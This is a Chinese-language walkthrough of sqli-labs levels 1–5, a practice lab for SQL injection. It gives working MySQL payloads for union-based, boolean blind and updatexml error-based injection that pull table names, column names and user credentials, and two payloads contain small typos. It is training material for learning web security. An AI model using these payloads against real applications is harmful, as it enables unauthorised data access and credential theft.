sql-labs less-1-5wp

目录标题

less-1

判断列数

使用注释符可以将报错信息注释掉

2,3列回显,第一列不回显所以我们不使用它,但是要存在,因为需要和union保持前后列数一致

查找数据库和版本信息

数据库:security

php 复制代码
?id=-1' union select 1,version(),database() --+

查找数据库中的表

表:emails,referers,uagents,users

php 复制代码
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

爆破users表的列

列:id,username,password

php 复制代码
?id=-1'  union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

爆破xx表xx列的数据

php 复制代码
-1' union select 1,group_concat(username),group_concat(pasword) from users#

Less-2

判断类型

因为**?id=2-1的值和1**相同,是数字型

php 复制代码
$sql="select * from tables where id=1 ";

判断注释符和回显点

2,3列回显

爆破

数据库和版本信息

爆破security数据库的表

php 复制代码
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"

爆破users表的列名

php 复制代码
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"

爆破表中数据

php 复制代码
?id=-1 union select 1,group_concat(username),group_concat(password) from users

Less-3

判断类型

输入2-1还是2的结果,字符型注入

判断注释符和回显点

可以看到报错信息

需要使用引号和)报错,注释符%23

利用方式闭合,一共有3列,回显点2,3列

爆破

爆破版本号和数据库

php 复制代码
?id=-1') union select 1,version(),database() %23

爆数据库下的表

拿到几个数据表

php 复制代码
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" %23

爆表下的列

拿到3个数据列

php 复制代码
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" %23

爆xx列的数据

拿到数据

php 复制代码
?id=-1') union select 1,group_concat(username),group_concat(password) from users %23

Less-4

观察报错信息

php 复制代码
 '"1"")  #闭合方式为后面两个字符,即我们传入的双引号之后  ")

与less-3相比,闭合方式发生了变化

Less-5(盲注)

判断类型和注释符

无论输入什么,都是回显这个,除非是报错信息

看看注入类型,字符型

报错回显如下,双引号不报错,单引号报错

php 复制代码
$sql="select * from xxx where $id="" ";

因为网页只回显次信息和报错信息,故初步判断,后端会接收前端的结果然后判断是true还是flase,然后处理回显,故是bool注入

可以利用**--+**注释

判断列数和回显点

利用order by 判断为4报错

可以看到有3列

使用union判断回显点,但是只返回次字符串

盲注攻击

攻击流程如下

php 复制代码
#判断数据库名长度
?id=1' and length(database())>=1 --+
?id=1' and length(database())>=10 --+
?id=1' and length(database())>=5 --+
?id=1' and length(database())>=7 --+
?id=1' and length(database())>=9 --+   #报错,说明长度为8

#数据库名称爆破    security
?id=1' and substr(database(),1,1)='d' --+  #匹配子字符串,从第一位开始提取1位
?id=1' and substr(database(),2,1)='sa' --+  #从第2位开始提取1位
....剩下的burp爆破即可

#爆破数据表名
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+  #limit限制字符长度,后续一个个爆破即可
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+     #查看users表下的列名
?id=1' and substr((select username from security.users limit 0,1),1,1)='c'--+   #查询列下的数据

成功回显,说明输入是正确的

无回显,说明数据库长度为8,即小于9

为8

判断数据库名称

无回显,说明第一个字符不位d

抓包添加变量,准备爆破

成功爆破出第一个字符s

剩下的字符一个个爆破即可

报错注入

php 复制代码
# ?id=1' and 跟语句
updatexml(1,concat(0x7e,(database()),0x7e),1),查看当前库,0x7e是'~'十六进制转化的结果,用来分割我们的结果
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),查看se库下面的第一张表
updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1),查看users表下面的第一个字段
updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1),查看users字段下面的password字段

如下,查到数据库

查询表名,可以看到每次只能返回一个结果,需要调节查询字段,(第0位开始,查询两字符)

查询其他表名

查询users表下的字段

查询字段下的数据

相关推荐
叡鳍17 分钟前
hive---HQL查询
数据库
vortex51 小时前
谷歌黑客语法挖掘 SQL 注入漏洞
android·数据库·sql
九河云1 小时前
软件开发平台 DevCloud
运维·服务器·数据库·科技·华为云
wind_one12 小时前
7.基础--SQL--DDL-数据类型及案例
数据库·sql
l1t3 小时前
利用DeepSeek改写SQLite版本的二进制位数独求解SQL
数据库·人工智能·sql·sqlite
QT 小鲜肉3 小时前
【QT/C++】Qt定时器QTimer类的实现方法详解(超详细)
开发语言·数据库·c++·笔记·qt·学习
研究司马懿3 小时前
【ETCD】ETCD常用命令
网络·数据库·云原生·oracle·自动化·运维开发·etcd
独行soc4 小时前
2025年渗透测试面试题总结-234(题目+回答)
网络·python·安全·web安全·渗透测试·1024程序员节·安全狮
刘一说4 小时前
深入理解 Spring Boot 中的数据库迁移:Flyway 与 Liquibase 实战指南
数据库·spring boot·oracle
August_._5 小时前
【MySQL】SQL语法详细总结
java·数据库·后端·sql·mysql·oracle